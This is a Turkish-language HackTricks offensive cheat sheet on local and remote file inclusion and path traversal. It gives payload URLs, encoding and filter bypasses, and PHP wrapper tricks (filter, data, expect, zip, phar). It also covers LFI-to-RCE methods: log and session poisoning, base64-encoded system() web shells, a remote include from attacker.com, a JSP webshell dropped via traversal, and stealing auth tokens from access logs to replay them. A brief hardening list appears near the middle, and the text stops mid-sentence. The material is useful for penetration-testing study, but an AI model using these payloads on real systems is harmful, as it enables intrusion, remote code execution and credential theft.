File Inclusion/Path traversal
Reading time: 27 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
File Inclusion
Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu onu çalıştırır). php'de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Zafiyete açık PHP functions: require, require_once, include, include_once
Bu zafiyeti exploit etmek için ilginç bir araç: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*Birden fazla nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:
Ayrıca /
yerine \
kullanmayı dene
Ayrıca ../../../../../
eklemeyi dene
A /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin var olup olmadığını kontrol etmek için) here adresinde bulunabilir
Windows
Farklı wordlists'lerin birleşimi:
Ayrıca /
yerine \
kullanmayı dene
Ayrıca C:/
'i kaldırıp ../../../../../
eklemeyi dene
Cihazdaki /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste (zafiyetin var olup olmadığını kontrol etmek için) here adresinde bulunabilir
OS X
Linux için hazırlanmış LFI listesini kontrol et.
Basic LFI and bypasses
Tüm örnekler Local File Inclusion içindir, ancak aynı zamanda Remote File Inclusion için de uygulanabilir (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences rekürsif olmayan şekilde kaldırıldı
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Sağlanan stringin sonuna daha fazla chars eklenmesini bypass etme (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Bu, PHP 5.4'ten beri çözüldü
Kodlama
Çift URL encode (ve diğerleri) gibi standart dışı kodlamalar kullanabilirsiniz:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Mevcut klasörden
Belki back-end klasör yolunu kontrol ediyordur:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının yoklanmasını içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:
- Dizin Derinliğini Belirleme: Geçerli dizininizin derinliğini,
/etc/passwd
dosyasını başarıyla çekerek belirleyin (sunucu Linux tabanlıysa uygulanır). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve üç katmanlı bir derinliği gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Klasörleri Sorgulayın: Şüpheli klasörün adını (ör.
private
) URL'nin sonuna ekleyin, ardından/etc/passwd
'e geri dönün. Ek dizin seviyesi, derinliği bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Sonuçları Yorumlayın: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- Hata / Çıktı Yok: Belirtilen konumda
private
klasörü muhtemelen mevcut değildir. /etc/passwd
içeriği:private
klasörünün varlığı doğrulanır.
- Özyinelemeli Keşif: Keşfedilen klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, /var/www/
dizininin bir private
dizini içerip içermediğini kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarsak) kullanın:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
are all treated as the same path.- When the last 6 characters are
passwd
, appending a/
(making itpasswd/
) doesn't change the targeted file. - Similarly, if
.php
is appended to a file path (likeshellcode.php
), adding a/.
at the end will not alter the file being accessed.
Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın hedef olan /etc/passwd
'e erişmek için path truncation'ın nasıl kullanılacağını gösterir:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Bu senaryolarda gerekli traversals sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği son ekleri etkisiz kılabilir. - Determining the Required Number of Traversals: Deneme-yanılma yoluyla, kök dizine ve ardından
/etc/passwd
'e ulaşmak için gereken tam../
sayısı bulunabilir; böylece.php
gibi eklenen herhangi bir dize etkisizleştirilir ve istenen yol (/etc/passwd
) korunur. - Starting with a Fake Directory: Yolu var olmayan bir dizinle (ör.
a/
) başlatmak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
Path truncation techniques uygulanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.
Bu zafiyet PHP 5.3'te düzeltildi.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php'de bu varsayılan olarak devre dışıdır çünkü allow_url_include
Off. Bunun çalışması için On olması gerekir; bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Eğer herhangi bir nedenle allow_url_include
On ise, fakat PHP dış web sayfalarına erişimi filtreliyorsa, bu yazıya göre, örneğin data protokolünü base64 ile kullanarak bir b64 PHP kodunu çözüp RCE elde edebilirsiniz:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Önceki kodda, sonundaki +.txt
eklendi çünkü attacker'ın .txt
ile biten bir stringe ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode'tan sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (dolayısıyla çalıştırılacak).
Bir başka örnek php://
protocolünü kullanmayan ise şöyle olurdu:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Kök öğesi
Python'da, şu gibi bir kodda:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Eğer kullanıcı absolute path değerini file_name
olarak geçirirse, önceki yol sadece kaldırılır:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Bu, the docs'a göre beklenen davranıştır:
Bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
Java Dizinleri Listeleme
Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine bir dizin isterseniz, dizinin listelemesi döndürülüyor. Bu diğer dillerde olmayabilir (bildiğim kadarıyla).
İlk 25 parametre
Aşağıda local file inclusion (LFI) zafiyetlerine karşı savunmasız olabilecek ilk 25 parametrenin listesi yer almaktadır (kaynak: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filtreleri, veriler okunmadan veya yazılmadan önce temel veri üzerinde değiştirme işlemleri yapmayı sağlar. Filtrelerin 5 kategorisi vardır:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Verideki etiketleri kaldırır ( "<" ve ">" karakterleri arasındakiler)- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>
). Desteklenen tüm kodlamaların listesini almak için konsolda şunu çalıştırın:iconv -l
warning
convert.iconv.*
dönüşüm filtresini kötüye kullanarak rastgele metin oluşturabilirsiniz, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine izin vermek için yararlı olabilir. Daha fazla bilgi için bkz. LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: İçeriği sıkıştırır (çok miktarda bilgi exfiltrasyonu yaparken kullanışlıdır)zlib.inflate
: Veriyi açar- Encryption Filters
mcrypt.*
: Kullanımdan kaldırıldımdecrypt.*
: Kullanımdan kaldırıldı- Other Filters
- PHP'de
var_dump(stream_get_filters());
çalıştırdığınızda birkaç beklenmedik filtre bulabilirsiniz: consumed
dechunk
: HTTP chunked encoding'i tersine çevirirconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
"php://filter" kısmı büyük/küçük harf duyarsızdır
php filters'i oracle olarak kullanarak herhangi bir dosyayı okuma
In this post yerel bir dosyayı sunucudan çıktı alınmadan okumaya yarayan bir teknik önerir. Bu teknik, bir oracle olarak boolean exfiltration of the file (char by char) using php filters'e dayanır. Bunun nedeni, php filters'in bir metni PHP'nin bir exception fırlatacağı kadar büyütebilmek için kullanılabilmesidir.
Orijinal yazıda tekniğin detaylı açıklamasını bulabilirsiniz, ama burada kısa bir özet:
- Metnin ilk karakterini öne çıkarıp stringin boyutunun üstel olarak artmasını sağlamak için codec
UCS-4LE
kullanın. - Bu, başlangıç harfi doğru tahmin edildiğinde PHP'nin bir hata tetikleyecek kadar büyük bir metin oluşturmak için kullanılacak.
- dechunk filter'ı ilk karakter onaltılık değilse her şeyi kaldırır, bu yüzden ilk karakterin hex olup olmadığını öğrenebiliriz.
- Bu, önceki ile (ve tahmin edilen harfe bağlı diğer filters) birleştirildiğinde, yeterli dönüşümü uyguladığımızda karakter onaltılık olmaktan çıktığı zamanı görerek metnin başlangıcındaki bir harfi tahmin etmemizi sağlar. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası PHP'de hata oluşturur.
- Codec convert.iconv.UNICODE.CP930 her harfi bir sonrakine dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin bir
a
olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık bir karakter olmaz, bu yüzden dechunk onu silmez ve başlangıç bombasıyla çarpıldığında PHP hatası tetiklenir. - Başta rot13 gibi diğer dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler diğer harfleri hex aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, onu base64 encode etmek ve sayıyı leak etmek için ilk 2 harfi leak etmek gerekir.
- Nihai problem ilk harften daha fazlasını nasıl leak edeceğimizi görmektir. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filters kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri almak mümkündür.
- Ve daha fazla veri elde edebilmek için fikir, further data edinmek amacıyla başlangıçta generate 2 bytes of junk data at the beginning ile convert.iconv.UTF16.UTF16 kullanmak, UCS-4LE uygulayıp bunun pivot with the next 2 bytes yapmasını sağlamak ve delete the data until the junk data (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). İstenen bite ulaşana kadar bunu tekrarlayın.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da leaked edildi: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ayrıca php://stdin, php://stdout ve php://stderr kullanarak sırasıyla file descriptors 0, 1 ve 2'ye erişebilirsiniz (bir saldırıda bunun nasıl işe yarayabileceğinden emin değilim)
zip:// and rar://
İçine bir PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve ona erişin.
rar protokolünü suistimal edebilmek için özellikle etkinleştirilmesi gerekir.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Bu protokolün php yapılandırmaları allow_url_open
ve allow_url_include
tarafından kısıtlandığını unutmayın.
expect://
Expect'in etkinleştirilmiş olması gerekir. Bunu kullanarak kod çalıştırabilirsiniz:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Payload'ınızı POST parametrelerinde belirtin:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Bir .phar
dosyası, bir web uygulaması dosya yükleme için include
gibi fonksiyonları kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu örneği bir .phar
dosyasının oluşturulmasını göstermektedir:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Bellekte veya geçici bir dosyada yazma (bu, bir file inclusion saldırısında nasıl işe yarayabileceği belirsiz)
- file:// — Yerel dosya sistemine erişim
- http:// — HTTP(s) URL'lerine erişim
- ftp:// — FTP(s) URL'lerine erişim
- zlib:// — Sıkıştırma stream'leri
- glob:// — Pattern ile eşleşen yol adlarını bulma (çıktı olarak yazdırılabilir bir şey dönmediği için burada çok faydalı değil)
- ssh2:// — Secure Shell 2
- ogg:// — Audio stream'leri (arbitrary dosyaları okumak için kullanışsız)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Bu, traversal'ı engellemeyi amaçlasa da, kazara code injection için bir vektör oluşturur. Dosya içeriğini okumak için bunu suistimal eden bir saldırgan şunu kullanabilir:
' and die(highlight_file('/etc/passwd')) or '
Benzer şekilde, herhangi bir sistem komutunu çalıştırmak için şunu kullanabilirsiniz:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
Bu teknik, file path'i kontrol ettiğiniz ve bir PHP function'ının bir dosyaya erişeceği ama dosya içeriğini görmeyeceğiniz durumlar için geçerlidir (ör. basit bir çağrı olan file()
) fakat içerik gösterilmez.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Özetle, teknik dosya içeriğini o kadar büyük hale getirmek için "UCS-4LE" encoding kullanıyor ki, dosyayı açan PHP function bir error tetikliyor.
Sonra, ilk karakteri leak etmek için filtre dechunk
diğerleriyle (ör. base64, rot13) birlikte kullanılıyor ve nihayet filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE başa başka karakterler place ederek onları leak etmek için kullanılıyor.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Sunucu tarafı kodu, yüklenen dosyaların hedef yolunu kullanıcı kontrollü verilerle (ör. filename veya URL) canonicalize edip validate etmeden oluşturduğunda, ..
segmentleri ve absolute path'ler amaçlanan dizinden kaçarak arbitrary file write'a yol açabilir. Payload'ı web-exposed bir dizine koyabiliyorsanız, genellikle bir webshell bırakarak authentication olmadan RCE elde edersiniz.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File
/Paths
concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Bu sınıftaki hataları önleyen sertleştirmeler:
- Yolu kanonik bir path'e çözümleyin ve bunun izinli (allow-listed) bir ana dizinin alt dizini olduğunu zorunlu kılın.
..
, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; tercih olarak üretilmiş dosya adlarını kullanın.- Yazma işlemini düşük ayrıcalıklı bir hesapla çalıştırın ve yazma dizinlerini servis edilen köklerden ayırın.
Remote File Inclusion
Explained previously, follow this link.
Apache/Nginx log dosyası üzerinden
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde vulnerable to LFI ise, /var/log/apache2/access.log
or /var/log/nginx/access.log
dosyalarına erişmeyi deneyebilir, user agent içine veya bir GET parameter içine <?php system($_GET['c']); ?>
gibi bir php shell yerleştirip bu dosyayı include edebilirsiniz.
warning
Kabuk için çift tırnak kullanırsanız tek tırnaklar yerine çift tırnaklar "quote;" stringine dönüştürülecek, PHP orada bir hata fırlatır ve başka hiçbir şey çalıştırılmaz.
Ayrıca, payload'u doğru yazdığınızdan emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacaktır.
Bu, diğer loglarda da yapılabilir ama dikkat edin, log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Başlık authorisation "basic" Base64 olarak "user:password" içerir ve loglar içinde çözümlenir. PHPShell bu başlığın içine yerleştirilebilir.\
Diğer olası log yolları:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Erişim loglarını okuyarak GET tabanlı auth token'larını toplama (token replay)
Birçok uygulama yanlışlıkla session/auth token'larını GET ile kabul eder (ör. AuthenticationToken, token, sid). Eğer web sunucusu loglarına path traversal/LFI ile erişim sağlayabiliyorsanız, bu token'ları erişim loglarından çalabilir ve authentication'ı tamamen atlamak için replay edebilirsiniz.
How-to:
- Traversal/LFI'yi kullanarak web sunucusu erişim logunu okuyun. Yaygın konumlar:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Bazı endpoint'ler dosya okuma sonuçlarını Base64-encoded olarak döndürebilir. Eğer öyleyse, yerel olarak decode edin ve log satırlarını inceleyin.
- Token parametresi içeren GET isteklerini grep'leyin ve değerini yakalayın, sonra uygulamanın giriş noktasına karşı replay edin.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Gövde Base64 ise içeriği Base64'ten çözün, sonra yakalanmış token'ı replay edin:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- URL'lerdeki token'lar varsayılan olarak loglanır; üretim sistemlerinde GET ile bearer tokens kabul etmeyin.
- Uygulama birden fazla token adı destekliyorsa, AuthenticationToken, token, sid, access_token gibi yaygın anahtarları arayın.
- Loglara leak olmuş olabilecek token'ları yenileyin.
E-posta ile
Send a mail içeriğinde PHP payload'unuz gibi <?php echo system($_REQUEST["cmd"]); ?>
bulunan bir internal hesaba (user@localhost) gönderin ve bunu kullanıcının mailine şu yollardan biriyle include etmeyi deneyin: /var/mail/<USERNAME>
veya /var/spool/mail/<USERNAME>
/proc//fd/ Yoluyla
- Çok sayıda shell yükleyin (örneğin: 100)
- Dahil edin http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = işlemin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (o da brute force ile bulunabilir)
/proc/self/environ Yoluyla
Bir log dosyası gibi, payload'u User-Agent içinde gönderin; bu /proc/self/environ dosyası içinde yansıyacaktır.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Yükleme yoluyla
Bir dosya yükleyebiliyorsanız, içine sadece shell payload'u enjekte edin (örn: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Dosyanın okunabilir kalması için resimlerin/doc/pdf dosyalarının metadata'sına enjekte etmek en iyisidir
Via Zip fie upload
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions aracılığıyla
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP'de bu sessions /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Cookie'yi <?php system('cat /etc/passwd');?>
olarak ayarla.
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI'yi kullanarak PHP session file'ını dahil edin
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh üzerinden
Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa dosyasına erişmeyi dene
Üzerinden vsftpd logları
FTP sunucusu vsftpd'nin logları /var/log/vsftpd.log konumundadır. Local File Inclusion (LFI) zafiyeti varsa ve açığa çıkmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:
- Giriş işlemi sırasında kullanıcı adı alanına PHP payload enjekte et.
- Enjeksiyon sonrası, LFI'yi kullanarak sunucu loglarını /var/log/vsftpd.log konumundan al.
PHP base64 filter ile (base64 kullanarak)
As shown in this article, PHP base64 filter sadece Non-base64 karakterleri görmezden gelir. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsin: eğer ".php" ile biten base64 sağlarsanız, filtre "." karakterini yok sayar ve base64'e "php" ekler. İşte bir örnek payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Bu writeup php filters kullanarak çıktıda keyfi içerik üretebileceğinizi açıklar. Bu temelde include için dosyaya yazmanıza gerek kalmadan keyfi php kodu oluşturabileceğiniz anlamına gelir.
Via segmentation fault
Bir dosya yükleyin ve bu dosya /tmp
içinde geçici olarak saklanacak, sonra aynı istekte bir segmentation fault tetikleyin; böylece geçici dosya silinmeyecek ve onu arayabilirsiniz.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Eğer bir Local File Inclusion bulduysanız ve Nginx PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
Via PHP_SESSION_UPLOAD_PROGRESS
Eğer bir Local File Inclusion bulduysanız, hatta session'ınız olmasa bile ve session.auto_start
Off
